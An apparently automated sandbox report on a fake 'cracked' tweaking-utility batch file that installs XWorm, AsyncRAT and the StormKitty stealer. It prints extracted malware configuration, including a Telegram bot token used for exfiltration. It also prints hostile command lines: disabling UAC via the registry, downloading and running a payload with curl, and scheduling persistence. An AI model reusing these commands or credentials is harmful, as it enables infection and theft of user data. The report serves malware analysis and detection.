Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows11-21h2_x64
  • resource
    win11-20241007-en
  • resource tags

    arch:x64arch:x86image:win11-20241007-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    16-10-2024 19:09

General

  • Target

    EXM_Premium_Tweaking_Utility_1.0_Cracked.bat

  • Size

    672KB

  • MD5

    f9ca73d63fe61c4c401528fb470ce08e

  • SHA1

    584f69b507ddf33985673ee612e6099aff760fb1

  • SHA256

    16431cc14917abeb316e0bc44045440a8f86b7ac4fdd0dce99de6435d493ecca

  • SHA512

    6fd03320ec84baf09a16a127c2c0ed3c265906fcb1a3b807c13001e775c396b66539238392438a8f290be04b8b8684050736331f8f99dbe8b868b44f154dd9de

  • SSDEEP

    3072:BIGzQbmbkAqA2xH7VkKEn14IZVvisLur+K3:BIGiVNEn14IZVvisL43

Malware Config

Extracted

Family

xworm

Attributes
  • Install_directory

    %LocalAppData%

  • install_file

    USB.exe

  • pastebin_url

    https://pastebin.com/raw/ZnhxAV6a

  • telegram

    https://api.telegram.org/bot7538644364:AAHEMV7mmxz6PSRgzo0ORf3_n0BaazmrAqk/sendMessage?chat_id=7541917888

Extracted

Family

asyncrat

Botnet

Default

C2

127.0.0.1:6606

127.0.0.1:7707

127.0.0.1:8808

https://api.telegram.org/bot7538644364:AAHEMV7mmxz6PSRgzo0ORf3_n0BaazmrAqk/sendMessage?chat_id=7541917888

Mutex

AsyncMutex_6SI8OkPnk

Attributes
  • delay

    3

  • install

    false

  • install_folder

    %AppData%

aes.plain

Signatures

  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers written in C#.

  • Detect Xworm Payload 2 IoCs
  • StormKitty

    StormKitty is an open source info stealer written in C#.

  • StormKitty payload 2 IoCs
  • UAC bypass 3 TTPs 1 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Async RAT payload 1 IoCs
  • Drops startup file 2 IoCs
  • Executes dropped EXE 4 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Drops desktop.ini file(s) 8 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Looks up geolocation information via web service

    Uses a legitimate geolocation service to find the infected system's geolocation info.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

    Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies registry class 4 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 28 IoCs
  • Suspicious use of AdjustPrivilegeToken 48 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 58 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\EXM_Premium_Tweaking_Utility_1.0_Cracked.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3188
    • C:\Windows\system32\reg.exe
      Reg.exe delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\SystemRestore" /v "RPSessionInterval" /f
      2⤵
        PID:1404
      • C:\Windows\system32\reg.exe
        Reg.exe delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\SystemRestore" /v "DisableConfig" /f
        2⤵
          PID:3172
        • C:\Windows\system32\reg.exe
          Reg.exe add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\SystemRestore" /v "SystemRestorePointCreationFrequency" /t REG_DWORD /d 0 /f
          2⤵
            PID:5068
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -ExecutionPolicy Unrestricted -NoProfile Enable-ComputerRestore -Drive 'C:\'
            2⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1000
          • C:\Windows\system32\reg.exe
            Reg.exe ADD "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableLUA" /t REG_DWORD /d "0" /f
            2⤵
            • UAC bypass
            PID:1964
          • C:\Windows\system32\reg.exe
            Reg.exe add "HKCU\CONSOLE" /v "VirtualTerminalLevel" /t REG_DWORD /d "1" /f
            2⤵
              PID:1120
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c wmic path Win32_UserAccount where name="Admin" get sid | findstr "S-"
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:1432
              • C:\Windows\System32\Wbem\WMIC.exe
                wmic path Win32_UserAccount where name="Admin" get sid
                3⤵
                • Suspicious use of AdjustPrivilegeToken
                PID:3168
              • C:\Windows\system32\findstr.exe
                findstr "S-"
                3⤵
                  PID:892
              • C:\Windows\system32\chcp.com
                chcp 65001
                2⤵
                  PID:4836
                • C:\Windows\system32\chcp.com
                  chcp 437
                  2⤵
                    PID:2204
                  • C:\Windows\system32\curl.exe
                    curl -g -k -L -# -o "C:\Users\Admin\AppData\Local\Temp\exm.zip" "https://github.com/anonyketa/EXM-Tweaking-Utility-Premium/releases/download/V1.0/exm.zip"
                    2⤵
                      PID:1868
                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                      powershell -NoProfile Expand-Archive 'C:\Users\Admin\AppData\Local\Temp\exm.zip' -DestinationPath 'C:\Exm\'
                      2⤵
                      • Command and Scripting Interpreter: PowerShell
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      PID:904
                    • C:\exm\EXMservice.exe
                      EXMservice.exe
                      2⤵
                      • Executes dropped EXE
                      • Suspicious use of WriteProcessMemory
                      PID:4672
                      • C:\Users\Admin\msedge.exe
                        "C:\Users\Admin\msedge.exe"
                        3⤵
                        • Drops startup file
                        • Executes dropped EXE
                        • Suspicious behavior: AddClipboardFormatListener
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of AdjustPrivilegeToken
                        • Suspicious use of SetWindowsHookEx
                        • Suspicious use of WriteProcessMemory
                        PID:3176
                        • C:\Windows\System32\schtasks.exe
                          "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "msedge" /tr "C:\Users\Admin\AppData\Local\msedge.exe"
                          4⤵
                          • Scheduled Task/Job: Scheduled Task
                          PID:1476
                      • C:\Users\Admin\svchost.exe
                        "C:\Users\Admin\svchost.exe"
                        3⤵
                        • Executes dropped EXE
                        • Drops desktop.ini file(s)
                        • System Location Discovery: System Language Discovery
                        • Checks processor information in registry
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of AdjustPrivilegeToken
                        • Suspicious use of WriteProcessMemory
                        PID:3884
                        • C:\Windows\SysWOW64\cmd.exe
                          "cmd.exe" /C chcp 65001 && netsh wlan show profile | findstr All
                          4⤵
                          • System Location Discovery: System Language Discovery
                          • System Network Configuration Discovery: Wi-Fi Discovery
                          • Suspicious use of WriteProcessMemory
                          PID:904
                          • C:\Windows\SysWOW64\chcp.com
                            chcp 65001
                            5⤵
                            • System Location Discovery: System Language Discovery
                            PID:2768
                          • C:\Windows\SysWOW64\netsh.exe
                            netsh wlan show profile
                            5⤵
                            • Event Triggered Execution: Netsh Helper DLL
                            • System Location Discovery: System Language Discovery
                            • System Network Configuration Discovery: Wi-Fi Discovery
                            PID:3396
                          • C:\Windows\SysWOW64\findstr.exe
                            findstr All
                            5⤵
                            • System Location Discovery: System Language Discovery
                            PID:2416
                        • C:\Windows\SysWOW64\cmd.exe
                          "cmd.exe" /C chcp 65001 && netsh wlan show networks mode=bssid
                          4⤵
                          • System Location Discovery: System Language Discovery
                          • Suspicious use of WriteProcessMemory
                          PID:556
                          • C:\Windows\SysWOW64\chcp.com
                            chcp 65001
                            5⤵
                            • System Location Discovery: System Language Discovery
                            PID:2920
                          • C:\Windows\SysWOW64\netsh.exe
                            netsh wlan show networks mode=bssid
                            5⤵
                            • Event Triggered Execution: Netsh Helper DLL
                            • System Location Discovery: System Language Discovery
                            PID:3588
                    • C:\Windows\system32\chcp.com
                      chcp 65001
                      2⤵
                        PID:3420
                    • C:\Windows\system32\svchost.exe
                      C:\Windows\system32\svchost.exe -k LocalService -p -s NPSMSvc
                      1⤵
                        PID:3744
                      • C:\Windows\system32\BackgroundTransferHost.exe
                        "BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.13
                        1⤵
                        • Modifies registry class
                        PID:3100
                      • C:\Users\Admin\AppData\Local\msedge.exe
                        C:\Users\Admin\AppData\Local\msedge.exe
                        1⤵
                        • Executes dropped EXE
                        • Suspicious use of AdjustPrivilegeToken
                        PID:2280

                      Network

                      MITRE ATT&CK Enterprise v15

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                      Downloads

                      • C:\Users\Admin\AppData\Local\87a17d6aa5d0e6ff7002ece7f0875e91\Admin@OZYSBZXK_en-US\Browsers\Firefox\Bookmarks.txt

                        Filesize

                        105B

                        MD5

                        2e9d094dda5cdc3ce6519f75943a4ff4

                        SHA1

                        5d989b4ac8b699781681fe75ed9ef98191a5096c

                        SHA256

                        c84c98bbf5e0ef9c8d0708b5d60c5bb656b7d6be5135d7f7a8d25557e08cf142

                        SHA512

                        d1f7eed00959e902bdb2125b91721460d3ff99f3bdfc1f2a343d4f58e8d4e5e5a06c0c6cdc0379211c94510f7c00d7a8b34fa7d0ca0c3d54cbbe878f1e9812b7

                      • C:\Users\Admin\AppData\Local\87a17d6aa5d0e6ff7002ece7f0875e91\Admin@OZYSBZXK_en-US\System\Process.txt

                        Filesize

                        4KB

                        MD5

                        27d8714a3a8175bfc2c16ae941428559

                        SHA1

                        a0da95712e0e9caaf6cac8e885b0ef4078071810

                        SHA256

                        f0f3a25a1b51857c171f98e3c073cdd9a7cdee436423dfc98e5fb307e5d134a7

                        SHA512

                        1379fdb4f35ae4720fde90c97b42c026bfd8e3f4e67202153f9b1b2688c6183f5f74fa20fc02e79bede1d550ee27ed2abb1c3bde2b44195d2d7def88f09a5117

                      • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

                        Filesize

                        2KB

                        MD5

                        88dc70c361a22feac57b031dd9c1f02f

                        SHA1

                        a9b4732260c2a323750022a73480f229ce25d46d

                        SHA256

                        43244c0820ec5074e654ecd149fa744f51b2c1522e90285567713dae64b62f59

                        SHA512

                        19c0532741ebc9751390e6c5ca593a81493652f25c74c8cab29a8b5b1f1efef8d511254a04f50b0c4a20724bae10d96d52af7a76b0c85ddc5f020d4cac41100c

                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                        Filesize

                        64B

                        MD5

                        1a11402783a8686e08f8fa987dd07bca

                        SHA1

                        580df3865059f4e2d8be10644590317336d146ce

                        SHA256

                        9b1d1b468932a2d88548dc18504ac3066f8248079ecb083e919460bdb88398c0

                        SHA512

                        5f7f9f76d9d12a25fdc5b8d193391fb42c37515c657250fe01a9bfd9fe4cc4eab9d5ec254b2596ac1b9005f12511905f19fdae41f057062261d75bd83254b510

                      • C:\Users\Admin\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\AC\BackgroundTransferApi\918001b7-1f04-41b0-a75b-da4beedce790.down_data

                        Filesize

                        555KB

                        MD5

                        5683c0028832cae4ef93ca39c8ac5029

                        SHA1

                        248755e4e1db552e0b6f8651b04ca6d1b31a86fb

                        SHA256

                        855abd360d8a8d6974eba92b70cbd09ce519bc8773439993f9ab37cb6847309e

                        SHA512

                        aba434bd29be191c823b02ea9b639beb10647bbe7759bbffdaa790dfb1ec2c58d74c525ef11aacda209e4effe322d1d3a07b115446c8914b07a3bce4d8a0e2c3

                      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1vr2mfr1.tnm.ps1

                        Filesize

                        60B

                        MD5

                        d17fe0a3f47be24a6453e9ef58c94641

                        SHA1

                        6ab83620379fc69f80c0242105ddffd7d98d5d9d

                        SHA256

                        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                        SHA512

                        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                      • C:\Users\Admin\AppData\Local\Temp\exm.zip

                        Filesize

                        13.3MB

                        MD5

                        57a6527690625bea4e4f668e7db6b2aa

                        SHA1

                        c5799fd94999d128203e81e22c6d9fdb86e167ee

                        SHA256

                        076e01b09f9c5cccc273b2f7dfa1a1efccc1a8e8ebf98a7eee756024b93bad17

                        SHA512

                        d86c7f79989eb0781e15f8631048506ffab338f933ddfedbcc2c7464447770beaf21b7ed3cba2ebb97be5ffdc9a450f2df2e2313efaeb8e8101f2ee53c066e4e

                      • C:\Users\Admin\AppData\Local\b1654ee661bfd6b02cd0f7e902960f1f\msgid.dat

                        Filesize

                        5B

                        MD5

                        e0f96ed59ac42c9e24434ab977bc8ae5

                        SHA1

                        0d3954ac1dcc56d75672701cd71434d6e749d59c

                        SHA256

                        3274f94809103d85cfa3b4fee0b4e92523accd3ff6c02072c1beaeea149faf70

                        SHA512

                        d4ed1aadcce817ebfd29d4d3f004f25413a09cd816240eb4f498a15cfdd0679e66df68d2c41470b774eab3529fb3337ce57311a05c323e8609ae076850d3e47b

                      • C:\Users\Admin\msedge.exe

                        Filesize

                        146KB

                        MD5

                        f1c2525da4f545e783535c2875962c13

                        SHA1

                        92bf515741775fac22690efc0e400f6997eba735

                        SHA256

                        9e6985fdb3bfa539f3d6d6fca9aaf18356c28a00604c4f961562c34fa9f11d0f

                        SHA512

                        56308ac106caa84798925661406a25047df8d90e4b65b587b261010293587938fa922fbb2cfdedfe71139e16bfcf38e54bb31cbcc00cd244db15d756459b6133

                      • C:\Users\Admin\svchost.exe

                        Filesize

                        226KB

                        MD5

                        1bea6c3f126cf5446f134d0926705cee

                        SHA1

                        02c49933d0c2cc068402a93578d4768745490d58

                        SHA256

                        1d69b5b87c4cd1251c5c94461a455659febb683eab0ebd97dd30da2319ffc638

                        SHA512

                        eb9f423f6adb5e686a53f5f197e6b08455f8048d965a9ec850838fdf4724ef87f68945c435ace5a48a9a7226006a348e97586335d0246ea0dc898a412dea5df3

                      • C:\exm\EXMservice.exe

                        Filesize

                        12.0MB

                        MD5

                        aab9c36b98e2aeff996b3b38db070527

                        SHA1

                        4c2910e1e9b643f16269a2e59e3ada80fa70e5fa

                        SHA256

                        c148cc14f15b71a2d3f5e6bce6b706744f6b373a7e6c090c14f46f81d2d6e82f

                        SHA512

                        0db75756a041a7cda6b384718581aaf11e6873614465dd56e81f17ad171cffe380e288a3c2ee540222190392904921f26df8a1d66d4108051c60fc8e5b2df779

                      • memory/904-33-0x000001F268900000-0x000001F268912000-memory.dmp

                        Filesize

                        72KB

                      • memory/904-34-0x000001F268690000-0x000001F26869A000-memory.dmp

                        Filesize

                        40KB

                      • memory/1000-15-0x00007FF9EA4C0000-0x00007FF9EAF82000-memory.dmp

                        Filesize

                        10.8MB

                      • memory/1000-11-0x00007FF9EA4C0000-0x00007FF9EAF82000-memory.dmp

                        Filesize

                        10.8MB

                      • memory/1000-0-0x00007FF9EA4C3000-0x00007FF9EA4C5000-memory.dmp

                        Filesize

                        8KB

                      • memory/1000-12-0x00007FF9EA4C0000-0x00007FF9EAF82000-memory.dmp

                        Filesize

                        10.8MB

                      • memory/1000-9-0x000001EF755C0000-0x000001EF755E2000-memory.dmp

                        Filesize

                        136KB

                      • memory/1000-10-0x00007FF9EA4C0000-0x00007FF9EAF82000-memory.dmp

                        Filesize

                        10.8MB

                      • memory/3176-132-0x00000000004E0000-0x000000000050A000-memory.dmp

                        Filesize

                        168KB

                      • memory/3884-138-0x0000000005E70000-0x0000000005ED6000-memory.dmp

                        Filesize

                        408KB

                      • memory/3884-137-0x0000000000C50000-0x0000000000C8E000-memory.dmp

                        Filesize

                        248KB

                      • memory/3884-295-0x00000000067F0000-0x0000000006882000-memory.dmp

                        Filesize

                        584KB

                      • memory/3884-296-0x0000000006E40000-0x00000000073E6000-memory.dmp

                        Filesize

                        5.6MB

                      • memory/3884-300-0x0000000006990000-0x000000000699A000-memory.dmp

                        Filesize

                        40KB

                      • memory/3884-306-0x00000000078F0000-0x0000000007902000-memory.dmp

                        Filesize

                        72KB

                      • memory/4672-76-0x0000000000130000-0x0000000000196000-memory.dmp

                        Filesize

                        408KB